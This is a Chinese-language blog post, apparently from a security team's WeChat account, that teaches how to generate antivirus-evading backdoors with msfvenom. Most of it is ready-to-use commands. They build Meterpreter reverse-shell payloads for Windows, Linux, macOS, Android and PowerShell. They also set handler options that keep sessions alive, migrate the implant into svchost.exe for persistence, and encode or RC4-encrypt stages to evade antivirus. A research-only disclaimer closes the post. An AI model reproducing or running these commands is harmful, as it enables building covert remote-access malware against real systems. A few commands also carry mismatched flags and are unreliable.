0x01 前言
msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
0x02 常用参数
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源.模块类型包括:payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f,–format < format>指定输出格式(使用–help-formats来获取msf支持的输出格式列表)
-e, –encoder [encoder]指定需要使用的encoder(编码器,指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –a rch < architecture>指定payload的目标架构,例如 x86 | x64 | x86_64 – platform < platform> 指定 payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list>设定规避字符集,指定需要过滤的坏字符例如:不使用'x0f'、'x00';
-i, –iterations < count>指定 payload的编码次数
-c, –add-code < path>指定一个附加的 win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep保护模板程序的动作,注入的 payload 作为一个新的进程运行 –payload-options 列举payload的标准选项
-o, –out < path>指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式 –shellest 最小化生成 payload
-h, –help 查看帮助选项 –help-formats 查看msf 支持的输出格式列表
⼏个重要的监听参数
在实战中,经常会遇到假session或者刚连接就断开的情况,这⾥补充⼀些监听参数,防⽌假死与假session。
防⽌假session
//可以在接收到seesion后继续监听端口,保持侦听。
msf exploit(multi/handler) > set ExitOnSession false
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
handler后台持续监听
msf exploit(multi/handler) > exploit -j -z
使⽤exploit -j -z可在后台持续监听,-j为后台任务,-z为成功后不主动发送stage,使⽤Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种⽐较快捷的建⽴监听的⽅式,在msf下直接执⾏:
msf5 > handler -H xxx.xxx.xx.x -P xxxx -p windows/meterpreter/reverse_tcp
payload的可持续化
使⽤msfvenom⽣成的payload会单独开启⼀个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使⽤migrate来进行进程的迁移
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xxx.xx.xx LPORT=xxxx -e x86/shikata_ga_nai -b"x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
//这里⽣成的shell程序执⾏后会启动两个进程shell.exe和svchost.exe,关闭其中⼀个不会影响会话状态。
以上的payload的参数解读
PrependMigrate=true PrependMigrateProc=svchost.exe
使这个程序默认会迁移到svchost.exe进程。<最好迁移到一个持久的进程上面>
⽤-p 指定使⽤的攻击载荷模块,使⽤- e 指定使⽤ x86/shikata_ga_nai 编码器,使⽤ -f 选项告诉MSF编码器输出格式为 exe,-o 选项指定输出的⽂件名为payload.exe,保存在根⽬录下。
0x03 绕过杀软
使⽤reverse_https等payload时可以使⽤下列⽅法bypass部分杀软。
//payload
msfvenom -p windows/meterpreter/reverse_https lhost=xxx.xxx.xxx.xxx lport=xxxx -f c
msf exploit (multi/handler) > set= Enable
StageEncoding true
//尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀EnableStageEncoding => true
msf exploit (multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit (multi/handler) > set stageencodingfallback false
stageencodingfallback => false
使⽤reverse_tcp_rc4也有同样的效果,⽽且不能设置stageencoder选项,更稳定更⽅便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=xxx.xxx.xxx.xxx lport=xxxx RC4PASSWORD=tidesec -f c
利⽤rc4对传输的数据进⾏加密,密钥在⽣成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼⽪地下执⾏meterpreter。
0x04 各平台payload生成
⼆进制
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xx.xx LPORT=xxxx -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.xx.xxx.xx LPORT=xxxx -f exe > shell.exe
!!!注意:<以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使⽤-a x86选项指定。如果要⽣成64位,则payload为windows/x64/meterpreter/reverse_tcp。>
Linux
msfvenom -plinux/x86/meterpreter/reverse_tcp LHOST=xx.xxx.xxx.xxx LPORT=xxxx -ax86 --platform Linux -f elf > shell.elf
Mac
msfvenom -posx/x86/shell_reverse_tcp LHOST=xxx.xxx.xxx.xLPORT=xxxx -ax86 --platform osx -f macho > shell.macho
Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx R > test.apk
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
Shellcode
//linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -a x86 --platform Windows -f c
//windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -a x86 --platform Linux -f c
//mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=xx.xx.xx.xx LPORT=xxxx -a x86 --platform osx -f c
Handler的设置
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST xx.xx.xx.xx
set LPORT xxxx
set ExitOnSession false
exploit -j -z
0x05 免责声明
本文仅限于技术研究学习,切勿将文中技术细节用作非法用途,如有违者后果自负。
关于我们
“TERRA星环”安全团队正式成立于2020年,是贵州泰若数字科技有限公司旗下以互联网攻防技术研究为目标的安全团队。团队核心成员长期从事渗透测试、代码审计、应急响应等安服工作,多次参与国家、省级攻防演练行动,具备丰富的安服及攻防对抗经验。
团队专注于漏洞挖掘、漏洞研究、红蓝对抗、CTF夺旗、溯源取证、威胁情报、代码审计、逆向分析等研究。对外提供安全评估、安全培训、安全咨询、安全集成、应急响应等服务。
原文始发于微信公众号(TERRA星环安全团队):使用msfvenom生成免杀后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论